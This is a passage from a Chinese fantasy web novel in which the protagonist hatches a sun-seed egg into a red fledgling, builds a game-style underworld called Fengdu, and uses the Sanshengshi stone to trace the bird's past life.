只见此刻，沙漠中部、扶桑木下，原本高温的沙漠不知道什么时候冷却了，而原本日夜都散发着火焰般热度和光亮的扶桑木，也不知不觉中黯淡了下去。 甚至是沙子下刚爬到附近的沙蚺，都再没有了动静。 “有点儿邪性。” 颜辞云如此评价着。 不敢再让太阳之蛋再在她漂亮的扶桑木下多待，颜辞云吐了两口火焰，给这颗漂亮的小树回了口血，接着便抱起太阳之蛋，掉头走了。 颜辞云去的第三站是焦侥。 无他，够热。 这只太阳之蛋，似乎在吸收热量上有着超乎寻常的天赋，而恰好，焦侥大地上的那一片焦土，热量绝对足够。 于是颜辞云也没多想，抱着蛋就往南边的焦侥跑去。 当路过树屋、路过建木时，颜辞云还从建木底部摸了一把息土——不知道为什么，总觉得会用到。 就这样，很快的，颜辞云抵达了焦侥。 她将手里的太阳之蛋放置在这片黑与红掺杂、如同一片凝固岩浆的大地上，心里还在暗暗懊恼，觉得自己之前在小世界里十天十夜的降雨实在多余。 早知道这太阳之种是这样的“种”法、需要这么多的热量，她就该在获得太阳之种后把它就地种下，好把那个小世界的异常高温统统吸收干净啊！ 这样一个热量过滤器，竟没有及时派上用场。 亏了亏了。 颜辞云一边在心里嘀咕着，一边在旁边等待，静静观察着太阳之蛋这一次的生长情况。 而很快的，太阳之蛋第三次“活动”了起来。 可这一次的“活动”有点儿诡异。 颜辞云记得很清楚，当这个小东西放在积冰之地的浮冰上时，它的内部就像是有某种高温的铁水在流动着，非常活跃，可以感到非常强烈的生命力。 而当它被放置在扶桑木下时，它虽然体积长得很快，但它内部的温度其实是有些降低的，大概就是普通岩浆的温度吧。 最后，当它被放在焦侥这片焦土上时，它的温度就更低了。 哪怕在颜辞云的注视下，它的确在源源不断地吸收着空气和大地里的热量，甚至连它的外壳，也再一次变成了诡异的黑，可偏偏，它的内部温度最多也就是超临界水的温度。 ……它不像是在长大，而像是在死去！ ——别啊！ 颜辞云看着这颗蛋，再一次忍不住抓自己的头发： 可恶，到底缺了什么条件？ 明明感觉这颗太阳之种，在积冰、扶桑木，还有焦侥这三个地方，都应该可以正常孵化的啊！ 还是说，在旧日没有消失的情况下，新日无论如何都没办法孵化吗？ “算了。” 既然排查不出问题和条件，那就把太阳之种待过的所有的环境，都复刻一遍吧！ 首先，是扶桑木。 颜辞云打开种植区块，果断兑换出了扶桑木。 这颗曾经令颜辞云叹为观止、觉得贵到离谱的树种，如今对她而言，不过是垂手可得。 她兑换出扶桑木树种，就地种下，铺上了息土——瞧，神灵的直觉就是这样好用，免得她多跑两趟。 紧接着，颜辞云一边向息土投入大量的金子，一边搬来附近所有的火焰与热量，开始紧急催生这颗扶桑木。 一千米，两千米，三千米！ 一颗神木，顷刻而成！ 颜辞云没有迟疑，果断将逐渐冷却的太阳之蛋放在了扶桑木下。 扶桑木以肉眼可见的速度黯淡了下去，像是被掠夺了什么，可太阳之种却在颜辞云的注视下，一点点变得活跃，一点点恢复高温。 “看来这颗蛋的生长条件，的确包括扶桑木……” 或者说是包括像扶桑木一样同时具备高温和神力的东西。 那……积冰呢？ 为什么太阳之种在积冰之地最为活跃？ 难道说它不但需要高温，还需要寒冰？ 但转念一想，颜辞云抬头看向扶桑木那遮天蔽日的茂密枝叶，心中突然闪过灵光。 “不对——不是寒冰！” 是黑暗！ 或者说……避免阳光直射。 因为旧的太阳，会杀死新生的太阳！ 就好像这颗太阳之种的迅速冷却，也正是在颜辞云把它在焦侥放下之后。 在这里，一片焦土，没有半点荫蔽，任由旧日的光直接照射在了还未孵化的新日上。 而旧日的光与热，才是杀死新日的真正凶手！ 想到这里，颜辞云没有耽搁，直接抽出了赶山鞭。 啪！啪！啪！ 连续三声脆响，三座万仞高山就此升起。 它们如花瓣一般，成环抱之势，隔绝了从天上旧日的注视，将扶桑木以及扶桑木下的太阳之种，统统笼罩在黑暗之中。 旧日的光与热散去了。 黑暗密闭的空洞里，唯有扶桑木的枝叶如同萤火，发出淡淡的光。 噗通、噗通—— 第一次的，颜辞云从这个树种内听到了心跳。 在集齐黑暗、高温、还有扶桑木这三个要素后，这一刻，一个新的生命似乎终于要在此地苏醒！ 黑暗越来越浓郁。 这并不是因为外界的天黑了，也不是因为这颗新种下的扶桑木即将死去。 而是因为这颗太阳之种，这颗火红色的蛋，正以不可思议的速度吸收着四周的光和热。 越来越快。 越来越凶！ “热量不够。” 几乎是在黑暗开始浓郁的瞬间，颜辞云心中就生出了这样的念头。 于是，颜辞云飞快做下决定，放开了对【火·毕方】这个技能的限制。 【火·毕方：你所经过的地方，即为火焰的领地。】 就在颜辞云放开控制的瞬间，源源不断的野火从虚空生出。 它们不需要可燃物的依凭，甚至连高温都不需要，只要颜辞云站在这儿，这些可怕的野火就会从颜辞云周身源源不断地生成！ 这无疑是非常奇妙的一幕，就和颜辞云最初降临胡拉坎的小世界一样！ 可是，这一回，当太阳之种也同时存在后，一幕更为绚丽的奇景出现了。 只见，颜辞云周身燃起的野火，原本烧得漫无目的、肆无忌惮，充满了暴力与破坏性。 可是，当那颗火红色的蛋亮起后，这些没头没脑的火焰，便像是受到了某种无形召唤似的，又像是被磁石吸引的铁石，就这样被揉了一根根细细的丝线、一缕缕柔软的柳条、一道道流动的溪水，轻柔地向那颗火红色巨蛋卷了过去。 一道，两道，十道。 无数道火焰，竟都这样被贪婪的火蛋吞下，连个烟气都没吐。 最后，当扶桑木上的树叶褪去鲜艳红芒，大地上的焦土冷却，颜辞云周身燃气的野火也恢复正常后，蓦地，颜辞云听到了一个声音。 喀嚓—— 颜辞云看到，巨蛋上的金色花纹不知道什么时候隐没了。 与此同时，那蛋壳上的火焰颜色却越来越浓，四周的温度也越来越炽烈。 喀嚓—— 又是一声。 颜辞云盯着这颗蛋，眉头微蹙，微妙感到自己好像在这颗蛋的成长过程中给它喂错了什么东西，以致于这颗太阳之蛋不太具备“阳”的属性，而更像是“火”。 是的，颜辞云感到，黑暗、扶桑木和高温，的确是太阳之种孵化的必备条件。 可是，除此之外，想要让它成功长为新日，还应该达成第四个条件，那就是“阳”！ 颜辞云看着四周的黑暗环境：“呃……” 又要是黑暗的，又要是“阳”。 也就是说，新日得孵化，需要在扶桑木下，一个温度极高的、既没有旧日的光的照射，同时阳属性又非常浓郁的地方诞生？ 颜辞云恍然明悟：“那不就是说，新日只能在旧日的尸体上诞生？而且是要死在扶桑木下的旧日尸体？” 难怪系统说“在旧日陨落前，不会有新日孵化”，原来新日的诞生是这么回事。 “那……既然如此……” 颜辞云盯着蛋壳上一道一道、出现得越来越快的裂痕，不由得沉思起来： “既然新日孵化的必要条件，是旧日的死亡和尸体……那我孵出来的这个东西，是什么？” 喀嚓—— 最后一声，火红色的蛋壳彻底碎裂。 炽烈的火光冲天而起。 那被颜辞云花费了大量心思的太阳之种，终于破壳而出！ 第102章 酆都 有底气的人，就是可…… 破壳而出的，是一只鸟儿。 这样说似乎有点儿像是废话，毕竟太阳之种都变成太阳之蛋了，那么从蛋里孵化出一只鸟儿，似乎也是理所应当的事。 可是…… 如果这只鸟儿，是颜辞云曾经见过的呢？ 只见，随着裂壳声结束，火光骤亮，一只全身由火焰构成、几乎称得上是俊秀的朱鸟冲天而起，如同旭日，在黑暗中骤升！ 而随着这只火鸟的越飞越高，颜辞云清晰见到，它的每一次振翅，都有无尽流光划过。 颜辞云凝神细看，心中一震。 因为这一刻的颜辞云惊讶发现，火鸟翅膀上的那点点流光，竟然是由一颗颗星宿组成？！ 不是吧——这家伙，什么来头？！ 也还好，这样惊人到骇人的火焰声势，只出现了一瞬间。 瞬间过后，火鸟的幻影散去，飘动的光焰如光晕散落。 而在光晕也散尽后，出现在颜辞云面前的，是一只毛茸茸的幼鸟。 并且，还是颜辞云绝不陌生的幼鸟！ 它鸟喙粗短，通身火红，鸟绒蓬松得像是一只棉花团子，眼睛乌溜溜的，歪头看人时带着一股说不出的无辜懵懂。 此刻，它坐在碎裂的蛋壳里，两只短腿伸得直直的，翅膀按在地上，竟像是人一样跌坐着，脑袋一点一点，好像是晕头转向一样，连发出的叫声都是嘤嘤嘤的，简直就像是一只又笨又会哭的棉花糖团子。 颜辞云看着这只小红鸟，几乎惊掉了下巴。 是的，在发现自己能搬山倒海、轮转四季的时候，颜辞云没有被吓倒；在发现自己种错了太阳的时候，颜辞云也没有被吓到。 可当颜辞云看清这只幼鸟的真容时，她却切切实实地被吓到了。 因为这只小红鸟的外形，竟和她穿越第一年时在原始森林里见到的那只小红鸟一模一样！ ……怎么会这样？ 难道……难道是因为在种太阳的时候，颜辞云意外想起了那只小红鸟，对那只意外丧生的小家伙感到了怀念和遗憾，所以这贴心的太阳之蛋就“还”了她一个？ 这是什么莞莞类卿啊？ 作为一个有原则的人，哪怕是面对小猫小狗小鸟，都要坚决和替身文学说“不”的好吧！ 想到这里，颜辞云伸手捞起这只小鸟，看能不能找出这只小红鸟二号的来历，顺带也找找当年那只小红鸟一号的去向。 也不是想要做什么，就是单纯想要看看它现在怎么样了。 可令颜辞云意外的是，蛋壳里的小红鸟竟然躲开了她的手。 似乎是被颜辞云突然伸来的手吓了一跳，这只本就绒毛格外蓬松的小鸟，竟然像是猫咪一样炸了毛，越发像个球了。 它翅膀和爪子并用地向后退着，似乎是要逃跑，可奈何幼鸟软趴趴的身体不支持这样的高难度动作，因此它原地滚了两圈后，一头撞上光滑的蛋壳。 哐！ 像是金铁撞上了铜锣。 在蛋壳持续的嗡鸣和回响中，小红鸟晕乎乎地趴下了。 颜辞云沉吟两秒，发表见解： “好傻。” 看起来不太聪明的样子。 但是，换个思路想想，有没有可能是它的脑袋太“聪明”了，身体条件却匹配不上，这才有了这样的笨拙表现？ ——是哪个答案呢？ 颜辞云捉起这只晕乎乎的小鸟，放在手里，仔细打量。 【检测到有一可驯服的异类生物，请问玩家是否想要收服宠物[未命名]？】 颜辞云没有立即做出选择，而是暂时放置了这条系统信息，挥手降下万仞高山，令这片人造的黑暗空间重见天日。 当阳光再一次降落地面时，颜辞云侧头看了看自己掌中的小红鸟。 还行，没有什么反应，看来太阳之种孵化出来后，就不会再受到旧日的影响了……当然，也可能是旧日对它不屑一顾，毕竟现在孵化出来的小红鸟，也不是什么新日，对旧日没有半点威胁。 颜辞云最后看了一眼扶桑树，选择将它留在原地，自己则在收起太阳之“蛋”的壳后，托着小红鸟，一路向北，在海面如滑行般摆尾游过，穿越弇州后，再次回到了台州。 此时，台州在被颜辞云用十天十夜的暴雨强势降温，又被放置于浮冰寒流围绕的海面上后，它那颜色沉暗的水与沙，竟不知什么时候被凝固成了冰冷的冻土，越发不适合住人了。 不过还好，颜辞云本来也没打算让“人”住在这里。 颜辞云漫无目的地在台州随便走了走，很快来到一个高地上，觉得此地不错，还算平整，很适合用来建造什么东西。 比如说冥府。 没错，颜辞云觉得，自己是时候要建冥府了！ 虽然最开始，颜辞云看到“员工”这两个字就头疼，因此没打算这么快就开启这个经营建筑。 可没办法，颜辞云对自己手里这只小红鸟的前世今生，实在好奇。 这只小红鸟，和当初原始森林里的那只小红鸟长得太像了。 与此同时，它表现得也不太像一只鸟儿，倒像是……一个人？ 这样各种意义上的微妙感受，让颜辞云很快下定决心，要搞清楚这小红鸟的真正来历。 可偏偏，颜辞云的力量杂七杂八，道具五花八门，但就是没有一个是与“轮回”“记忆”相关。 既然如此，怎么办才好？ ——建冥府！ 是的，为了看一段不知道是否存在的记忆而建立一个冥府。 有底气的人，就是可以这么自信！ 颜辞云把冥府碎片翻了出来，原地用制作台合出了一个冥府核心，拿到手里，定睛一看。 不同于太阳之种有着心脏一样的外形、太阳一样的色彩，冥府核心竟然看起来像是一座被缩小了无数倍的山！ 只见这座山上，鬼气森森，迷雾密布，一条颜色诡谲的黑色河流从山顶而出，一路向下。 沿路，无数小动物在黑暗的森林里出没，或捕猎或休憩或嬉戏，只不过这些小动物都无一例外是黑色的。 最后，在这条黑色河流戛然而止之处，有一座石碑，上头写着“幽都之山”四个字。 颜辞云看得惊讶：这哪里是什么“冥府核心”？这分明就是一座微雕的山间百态啊！ 就是颜色怪了点。 颜辞云将这只微雕的山拿在手上，左右转动，仔细查看。 而很快的，颜辞云感到另一道视线也落在了她手中的微雕上，似乎带着说不出的惊叹。 颜辞云转头向自己右手上的小红鸟看去。 小红鸟故作镇定，在颜辞云手里团成一只棉花团子，左看右看就是不看颜辞云。 颜辞云：“……” 你不觉得你这样更可疑吗？ 颜辞云没有戳破这只小红鸟那傻乎乎的伪装，注意力转到当下，将手里的冥府核心放在地上。 不得不说，死物就是比活物好“养”。 跟颜辞云手里辗转了三个地方、最后差点养死了的太阳之种完全不一样，这冥府核心刚一被颜辞云放在地上，便迎风而长，眨眼间就窜到了十米，长成了比颜辞云还要高一头的……小土包？ 不，鉴于颜辞云此刻的身高是十米往上，所以这个小土包其实还算……等等，十米高的小土包也是土包啊！ 而且，微雕上的黑水也好，动物也好，甚至是那个写着“幽都之山”的石碑也好，怎么都没有的？ 颜辞云绕着小土包转了两圈，无奈地安慰自己：毕竟，这个是“可成长性冥府”嘛，如果一开局就什么都有的话，哪里还能叫“成长”呢，对吧？！ 话虽这样说，但卖家秀和买家秀的巨大差距，还是让颜辞云小小地失落了两秒。 两秒后，颜辞云重整旗鼓，打开了冥府的管理页面，想着能升级就一口气给它升了级，不能升级就想点办法升级，如果想办法也升不了级那就干脆点回家睡觉。 但意外的是，这冥府的升级条件，竟然还挺好满足的。 至少对颜辞云来说，挺好满足的- 【冥府（0级）（可命名）】 【主建筑管理者：0/1】 【主建筑等级：0】 【附属建筑管理者：0/0】 【附属建筑物：0/3】 【附属建筑等级：0/0】 【建筑0→1条件：纸张0/10000、金玉0/10000、木石0/10000、待审判魂魄0/100】- 如今的冥府，只是一个空壳，所以它升到1级所需的东西，对生活玩家颜辞云来说不值一提。 就连那所谓的“待审判魂魄”，也根本不是事儿。 因为颜辞云如今的死神口袋里，就装着一整个小世界上下数万年的二十多个文明的灵魂呢！ 颜辞云果断开上马甲，一心二用，令神力马甲飞到小树屋里搜集物资。 但，这一次的双开，出现了一点儿小插曲，那就是正常人身高的神力马甲，在来到颜辞云本体的树屋后，简直就像是误入了巨人国！ 无论是那环形向上的两米高的台阶，还是五米高的护栏，又或者是二十米高的大门，三四十米高的穹顶，甚至是好奇凑过来嗅嗅不停的幼虎小白，都大得吓人！ 是的，就连颜辞云印象里那只咪咪叫着撒娇打滚、一只手就能拢起来的小猫咪，对正常人来说都是快两米高的大老虎！ 颜辞云默默擦了擦汗，把小猫、不，把大老虎的脑袋按到一边儿去，自己则来到储物箱面前，准备……嗯？ 颜辞云木然仰望客厅里堆叠得看不到顶的储物箱。 在颜辞云最初的记忆里，这个储物箱的边长仅有一米而已。 而后来，随着颜辞云本体的暴涨，她也顺便把储物箱越做越大了。 比如说颜辞云面前这个四米高四米宽四米长的……箱子。 颜辞云比了比储物箱，又比了比自己马甲不到两米的身高，沉默了。 算了将就用吧！ 颜辞云飞了起来，像是一只扒拉别人箱子的猫一样，在巨人国里翻箱倒柜。 纸张，树屋里的储量不多，但没关系，这东西好弄，只要去北边的湿地转一圈就好。不论是芦苇还是甘蔗，都能迅速变成纸张。 其次，金玉。所谓的金玉，其实是“金子”和“玉石”的总称。 颜辞云决定留下金子，只把玉石投进建筑里，毕竟玉石说白了就是石头，等她什么时候把胡拉坎世界里的“月亮神力”研究透了，她想要多少玉石就有多少玉石。 可金子却是用一块少一块的。 哪怕在神秘世界里，还有一个能力叫“点石成金”，可在亲眼见识过之前，颜辞云不相信这个。 颜辞云觉得，这个点石成金的“金”，更有可能是愚人金这一类的东西，总之绝不可能是金子。 所以，不稀有的玉石丢出去，稀少的金子留下来。 而至于最后的木石，更是不必说了，生活玩家最不缺的就是这些东西。 于是，颜辞云先是把木石通过系统物品栏的方式送给本体，接着是玉石。 但玉石储量原来也没有万斤，因此颜辞云干脆直接飞去了北边的湿地，一边割芦苇做纸，一边冲进角鹰的领地哐哐挖玉。 另一头，小山丘一样的冥府前，颜辞云先是把100个待审判的魂魄放进了冥府。 当上百个灵魂光点在小山丘上闪烁起来时，肉眼可见的，本就黑沉沉冷冰冰的冥府，变得越发鬼气森然。 紧接着，颜辞云投入冥府的是木石。 木5000，石5000。 而几乎就这些木石投入冥府的下一秒，颜辞云身前，只比她高一个头的小山丘像是打了个哈欠一样，发出长长叹音，紧接着，它竟如活物般动了起来！ 它的身躯扭曲着，舒展着，伸出了手，直起了腰，就像是一个从卧姿变成了站立的人似的，倏尔就窜到了百米的高度，而它原本光秃秃的山皮上，竟也有一株株树木拔地而起，一棵棵绿草迎风而长。 更神奇的是，在石山舒展、草木生长的同时，山顶的建筑竟然也“生长”了出来。 无数的木头飞了起来，就像是被无形的人牵引指挥着，一根根落地，一层层堆叠，一间间闭合。 最后，一个虽然还很简陋，但却依稀能见其威严的城池，在山上圈出，核心的宫殿在最高处无声伫立。 【冥府（可命名）主建筑已建成，请为此建筑命名。】 颜辞云想到自己之前在微雕上看到的名字，下意识就想要将这个主建筑命名为“幽都”。 可想了想，幽都是山的名字，城市的名字就不必再叫这个了。 那，叫什么好呢？ 颜辞云想了想，写下……不，算了，还是老规矩，随机吧。 随机姐又又又一次选择了随机。 而这一次，系统也不负众望，给了一个颜辞云觉得还不错的名字。 酆都。 而之后，那山上城池里最高处的核心宫殿，也在颜辞云面前一点点显现出了它的名字： 酆都大帝宫。 第103章 冥府 看起来好厉害的样子…… 第二个被颜辞云马甲集齐的资源，是纸张。 在青丘以北的黑水湿地里，茂密的芦苇丛一望无际。 有一些是黑水湿地里自然生长的，有一些则是颜辞云这两年往返奔波时随手丢下种子催长的。 毕竟颜辞云就是有看不得大地光秃秃的毛病，哪怕自己不吃不用，也想在地上种点什么。 而这个毛病如今也大大方便了颜辞云的纸张收集与制作。 当颜辞云提着自动采集的镰刀在芦苇丛里来回转了两圈后，数不清的芦苇就这样进入了她的物品栏。 颜辞云看不也看，反手将这些芦苇塞进制作台，紧接着，在台州站立着的颜辞云本体，则从制作台的出口取出纸张。 一人一马甲，合作无间。 于是很快的，一千张，两千张，五千张，一万张！ 不到半个小时，一万单位的纸张到手。 金丘黑水中的马甲立即停止对芦苇的采集，转头奔向角鹰所在的玉石矿，拿出钻石稿就开始哐哐挖矿。 而台州的本体则毫不犹豫，将手上还热乎的纸张立即投进冥府。 无形的风吹了起来，在台州这块化作了冰冷冻原的上空盘旋，如同怪鹰的呼啸。 大量的纸张飞了起来，就像一场平地骤起的龙卷风，以颜辞云面前这个小小冥府为核心，刮起了不可思议的白色风暴！ 颜辞云惊讶抬头望去。 只见在她的视线尽头，肉眼可见的，出了动荡不安的风与纸外i，并无其他，可事实上，在另一个更细微、更神奇的视角里，颜辞云清楚看到，有什么奇特的力量，正一丝丝一缕缕地在风中凝聚，在纸上附着。 这股力量是阴冷的，就像是颜辞云曾在胡拉坎世界里见过的月亮神力那样，好像只要伸手轻轻一触，就能令最狂暴的烈焰熄灭，也能令上一秒还在跳动的心脏冷却、化作石雕。 可与此同时，它又是“圆润”的。 颜辞云知道这样形容有些奇怪，甚至于就连颜辞云自己都不知道这样的奇怪通感从何而来，可事实上，颜辞云就是感到，这股力量十分“圆润光滑”，并且“井井有条”。 ——为什么？ 颜辞云的脑中刚冒出这样的念头，下一秒，在她愕然的注视下，她震惊看到，那一丝丝一缕缕的“阴”之力量终于汇聚而成，一头撞入那成千上万的纸张飞页里，最后化作了一本沉甸甸的书，轻轻落在她的章中。 这本“书”，看起来像书，摸起来像玉，翻开后像布，浑然一体，天衣无缝！ 而当颜辞云将书翻到正面时，却见书页正面上赫然写着三个弯弯曲曲难以辨认，却偏偏又能令每一个看到的人一眼认出的字： 生死簿！ “……啊？” 茫然间，最后一项资源——金玉，也被黑水湿地中活动的马甲收集好了。 于是，台州上，颜辞云下意识把10000单位的金玉也掏出来，投入冥府。 轰隆隆！ 如果说第一项资源投入后带给冥府的影响如同地震，第二项资源投入后产生的影响如同风暴，那么随着这第三项资源的投入，就只能用惊雷来形容了。 黑压压的乌云以不可思议的速度在幽都的上空凝聚，紫色雷电如龙蛇扭动。 轰隆！ 第一声惊雷响起时，颜辞云面前黑漆漆的幽都冥府骤然一亮，可当惊雷消逝后，那亮光却没有丝毫黯淡。 颜辞云凝神细看，却见这无形之中扩张了数倍的幽都之上，不知道什么时候出现了灯。 无数盏古朴、黢黑的灯，骤然出现在了幽都大地上。它们不知道是金铁还是玉石铸成，分明外型看起来沉重极了，却又如羽毛一般，轻轻地在幽都半空随意飘荡。 更不可思议的是，这一盏盏灯里头的灯焰，都白得发绿，远看似是一团团鬼火，近看则像是一个个被强行禁锢以充当光源的灵魂，令人不寒而栗！ 颜辞云看得莫名牙疼，刚想着自己好好的一个冥府怎么搞得这么像是邪教圣地，下一秒，第二声雷声又响起了。 轰隆！ 第二声惊雷，是从天而降，劈在幽都的南山脚的。 颜辞云眼尖看到，似乎在那道惊雷劈下的同时，有什么东西随着那道雷电从天而降，落在了幽都南山。 颜辞云等了一会儿，见天上乌云悄然散开，应该是没有第三道雷了，便走了两步，来到幽都南山，寻找刚刚是什么东西从天上掉下来了。 ——是石头。 一颗伫立在黑水旁的石头。 从外型上看，这颗石头平平无奇，横看竖看怎么看都好似只是普通石头而已，与颜辞云手上那本一看就不是凡物的“生死簿”截然不同。 可它有一个不下于“生死簿”的响亮名字： 三生石。 颜辞云：“啊，这……” 生死簿，三生石，酆都大帝宫……是不是每个冥府都是这么个配置啊？ 可明明胡拉坎小世界的冥府叫“九层冥府”和“死神迷宫”来着…… 还是说自己的金手指系统还缝了什么乱七八糟的冥府经营小游戏？ 心里嘀咕着，颜辞云打开了冥府页面。 此刻，冥府的等级已经从“0”来到了“1”，主建筑等级也成为了“1”，可【附属建筑物】和【附属建筑物等级】这两项却统统是0。 颜辞云仔细倒腾了一下，才发现所谓的“附属建筑物”，竟然是需要单独投入资源的，而不是只要用资源升级冥府等级，附属建筑就会自动出现。 整得还有点小合理？ 颜辞云打开【冥府】-【附属建筑物】页面，发现当前能建造的附属建筑，只有六个。 【鬼门关（可建造）：阴阳交界之门，亡魂进入地府的第一道关卡。建造需5000原石。】 【黄泉路（可建造）：连通阴阳两界的道路，既通向死亡，亦通向往生。建造需10000原石。】 【奈何桥（可建造）：奈何桥上说奈何，一过此桥，往事皆消。建造需2500原石。】 【孽镜台（可建造）：由天地灵气所洁而成，可照耀所有来到此地的凡人魂魄的真正面目。建造需1000原石、1000玉石、100单位炁。】 【业火岭（可建造）：罪孽深重者，需来此接受惩罚，直至一身业力散尽。建造需1000玉石、300单位炁。】 【轮回井（可建造）：既过此井，不必回头。建造需1000原石、500单位炁。】 可以看得出来，这六个建筑里，前三个都是0级就能建造的，因为它们只需要原石就行。 而后面的三个，则是1级后新增的，因为它们需要炁。 颜辞云看了看自己储量丰富的原石，没有犹豫，哐哐把【鬼门关】、【黄泉路】、【奈何桥】这三个建筑搞定。 而至于后面的【孽镜台】、【业火岭】与【轮回井】？ 别忘了，颜辞云造冥府，是为了探究手里这只小红鸟的前世今生才搞的冥府，简而言之，是为了一叠醋包的饺子。 而如今，她饺子都快包好了，又何必再搞更多花样？ 她又不是真的想要接来送往这些灵魂，建造冥府新秩序，没见她连酆都管理人都没有任命吗？ 所以，接下来的事很简单了。 颜辞云用资源兑换出了【孽镜台】，从鬼门关处往酆都走了几步，放置在道路右手边的方向。 只见这放置的孽镜台，台高三米有余，镜宽一米左右，小小一个，还没有颜辞云本体的尾巴尖大。 镜子是向东悬挂的，上头竟然还写有七个字： 孽镜台前无好人。 哇！看起来好厉害的样子呢！ 颜辞云缩小身形，难得把本体也变得如普通人类般大小，然后拽着从“小红鸟”变成“大胖鸟”的幼崽的翅膀，凑到孽镜台前仔细查看。 但—— “镜子坏了？” 颜辞云左看右看，仔细看眯眼看拉远看，竟怎么都没法从镜子里看到自己的模样。 甚至连颜辞云身边小胖鸟的身影都照不出来。 可偏偏，四周的景象又在孽镜台的镜面一览无遗，甚至一盏白到发绿的镇魂灯飘过时，那细小的幽光，都会在孽镜台的镜面上分毫毕现。 颜辞云思考了一下：“难道……是因为没有罪孽，所以照不出来？” 毕竟这镜子都写得清清楚楚了，“孽镜台前无好人”嘛！ 颜辞云啧了一声，不满嘀咕：“浪费我的资源。” 1000原石就算了，1000玉石可是要她马甲埋头在玉石矿里挖上好一会儿呢！ 不过，既然孽镜台照不出小胖鸟的真身，那生死簿呢？ 颜辞云开始翻起了生死簿。 她之前没翻这个，是因为颜辞云认为，所谓的“生死簿”，记录的应该只有某某某的生辰与死时，简而言之，这是个有关生死的总目录。 如果想要用总目录看分目录下的个人档案，只凭一个生死簿应该是不太行的，还要有其它物品或建筑物的辅助才行。 而如今，果然！ 就像颜辞云想的一样，她一翻这个总目录，根本找不到小红鸟的生平记录，也找不到颜辞云想看的前世今生 ……那怎么办？ 难道还要继续升级冥府？ 蓦地，颜辞云脑中灵光一闪，一拍脑门。 唉呀，真笨。 升级升迷糊了不是？ 想看前世今生这事还不简单——三生石呀！ 第104章 朱雀 真是个前所未有的倒…… 三生石的三生分别代表前生、今生、来生。 虽然在颜辞云那段模模糊糊、稀里糊涂的现代记忆里，三生石更多是与姻缘相关的，可以颜辞云如今的记忆和角度来看，事情并非如此。 如果把颜辞云手上的生死簿比作总目录，那三生石就像是一种搜索引擎。 它的出现，冥冥之中牵动了一些颜辞云目前还不是很能理解的规则，并与世界上的任何一个生命都息息相关。 凡在当前大世界里留下过生与死之印记的，比如说由颜辞云亲自孵化的小红鸟，以及曾经原始森林里的那只小红鸟，都能在这颗石头上找到前生、今生与来生。 当然，它也有极大限制，比如说它查不到其它世界的人的来历，如穿越而来的颜辞云；又比如说它查不到与颜辞云毫不相干的人的来历，如当初参与围剿上一任应龙的凶手之类。 它不是什么万能搜索引擎，而仅仅是一个与“自己”相关的查询器而已。 不过在目前情况下，三生石却是绝对够颜辞云使用的了。 想到这里，颜辞云又转身，拽着小胖鸟想要往三生石的方向去。 只不过，小胖鸟也不知道是不是预感到了自己的大难临头，挣扎得格外厉害，甚至发出了“嘤嘤嘤”的声音，就像是求饶。 这可叫颜辞云新奇极了。 毕竟这小鸟破壳后，嘤了一声就不吭气了，差点让颜辞云以为它是个小哑巴。 结果这会儿倒是嘤嘤嘤得挺欢嘛！ 颜辞云不知道这小鸟在嘤什么，目前也没有太大兴趣听，直接变回了十来米的巨人模样，把这挣扎的小鸟捉在了手里，摆尾来到三生石前。 “让我看看怎么操作……” 颜辞云嘀咕着，小心翼翼地在三生石上摸来摸去。 不小心没办法，这三生石虽然高十米左右，只比颜辞云低了几个头，看起来也是颇有一番威势，跟脆弱不沾边。但它上头缠绕着的特殊力量，却给予了它“精妙”之感，让颜辞云下意识拿出了对待精密仪器的态度来，就怕自己不小心捏坏了哪儿。 ——谁知道这玩意儿捏坏了怎么修啊？ 还是小心为妙！ 颜辞云在三生石上小心翼翼地摸来摸去，之后，也不知道是触发了哪个位置还是关键词，蓦然间，一段往事浮现在颜辞云脑海中。 那段往事发生的地点，是如今已经被烧毁的原始森林中曾被颜辞云称作鸟林的地方。 而这段往事的主人公，令人惊讶又意料之中的，竟然是那只早夭的小红鸟！ 从小红鸟的视角，颜辞云可以清楚看到，它应该并不是鸟林土生土长的本地鸟，因为在小红鸟破壳的时候，它没有看到自己的鸟爸妈，它自己也并不在某个巢穴内，甚至周遭鸟林里没有任何一个与它相似的鸟儿。 当它好不容易破壳而出，跌跌撞撞地在鸟林中行走时，周遭的飞鸟都离它远远的，向它投来异样目光。 那时候的小红鸟并不知道为什么会这样，但从三生石上纵览它一生的颜辞云却很清楚这是为什么。 因为小红鸟不是土生土长的本地鸟，而是被一个坏蛋从南边焦侥大陆偷来的一只小小火鸟。 是的，南边的焦侥大陆深处，的确如当扈所说那样，居住着一群火鸟，看能力应当是毕方的远亲。 但这不是重点，重点是，在小红鸟出生前后的那段时间，有个恶贼曾偷溜到火鸟的地盘上，从某个刚当了鸟妈妈的巢穴里摸了几只鸟蛋后，狂奔回自己的老巢啃蛋。 至于小红鸟，它不过是被恶贼偷走的众多鸟蛋之一、不小心遗落在鸟林里的一个险死还生的小可怜罢了。 而那个恶贼——没错，就是小白这个天天偷鸡摸狗的坏猫！ 看到这里的时候，颜辞云简直都快要晕倒了。 天呐，谁懂一个养了一只偷鸡猫的饲主的心啊？！ 前不久，颜辞云才从当扈那里了解了小偷猫的真面目，得知一年多年的那场异兽大战，其实就是失主痛殴小偷的战斗现场。 结果现在又让颜辞云知道，她在这个世界里第一个见到的活物小红鸟、可怜毛团子，竟然又是小偷猫受害者联盟的一员…… 事已至此，颜辞云只能庆幸，这里是蛮荒大陆，只有野兽没有人，更没有文明，所以不存在犯法和偷鸡摸狗这些概念，小白那纯粹就是野兽的天性使然……等等，这儿应该没有文明的吧？ 没有的吧？ 总之，关于偷鸡猫的一切，目前暂且按下不提。 倒是当年那只小可怜小红鸟对颜辞云的依恋，终于有了来由，因为颜辞云真的是第一个投喂小红鸟的人。 因受到满世界偷鸡摸狗的贼猫的影响，好好的一直小火鸟背壳离乡，被迫在一个陌生的环境里诞生。 之后没多久，失主当扈找来了，和恶贼小白在森林边缘的海边大战三百回合。 这样的可怕动静，吓走了鸟林里的所有鸟儿，哪怕是刚出壳的幼鸟，都被团结的鸟林众鸟带走了，唯有外来且无法飞行的小红鸟，被迫留在了原地，又被寻踪而来的颜辞云投喂。 只不过，当时的颜辞云朝不保夕，养不了这样的小家伙，把它留在了原地，两次。 最后的最后，随着换季到来，四散飞溅的火炁点燃森林，熊熊大火烧了三天三夜，只将这可怜的、还未长成的小火鸟，生生烧死在了鸟林中。 可谓是很可怜很坎坷的身世了。 但让颜辞云头皮发麻的是，这小家伙的坎坷人生竟然只是刚刚开始，因为下一世的它，竟然转生到了异世界，成为了一个人类，而他的名字叫做——南陆！ “真的假的……” 